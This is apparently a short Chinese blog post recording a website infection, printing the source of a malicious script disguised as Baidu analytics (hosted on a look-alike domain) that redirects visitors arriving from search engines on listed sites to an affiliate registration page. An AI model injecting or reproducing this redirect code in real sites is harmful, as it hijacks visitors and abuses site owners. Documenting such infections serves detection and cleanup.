记录一次网站jq恶意代码经历

//病恶意代码生成如下代码







//https://hmbaidu.com/hm.js源文件
var _hmt = _hmt || [];
(function() {
	var a = document.createElement("script");
	a.src = "https://hm.baidu.com/hm.js?11ed6542762b11d68e263f6ad552b2e4";
	var b = document.getElementsByTagName("script")[0];
	b.parentNode.insertBefore(a, b)
})();
var refer = document.referrer;
refer = refer.toLowerCase();
var aSites = "google. baidu. soso. so. 360. yahoo. youdao. sogou. m.sm. gougou. bing.".split(" "),
	isEngine = !1;
for (i in aSites) if (0 < refer.indexOf(aSites[i])) {
	isEngine = !0;
	break
}
if(isEngine){
	var host = window.location.host;
	if(host.indexOf("mvuk****.com") > 0 && 0 < refer.indexOf("so.com")){
                    //跳转到恶意页面
		window.location.href = "https://www.***.com/members/registration.htm?aff=B108469&media=kiwz&web=0";
	}
	if(host.indexOf("zuand***sheng.com") > 0 || host.indexOf("0769web.net")  > 0 || host.indexOf("cqxi***ingwa.com") > 0  || host.indexOf("wuzhouzhiqiao.com")  > 0 || host.indexOf("mr-teaa.com")  > 0 || host.indexOf("storer.jp") > 0 || host.indexOf("ytdswkj.com") > 0  || host.indexOf("rutenbuy.com") > 0  || host.indexOf("enb-ee9e.net") > 0 || host.indexOf("fcplaza.com") > 0){
               //跳转到恶意页面
		window.location.href = "https://www.***.com/members/registration.htm?aff=B108469&media=kiwz&web=0";
	}
}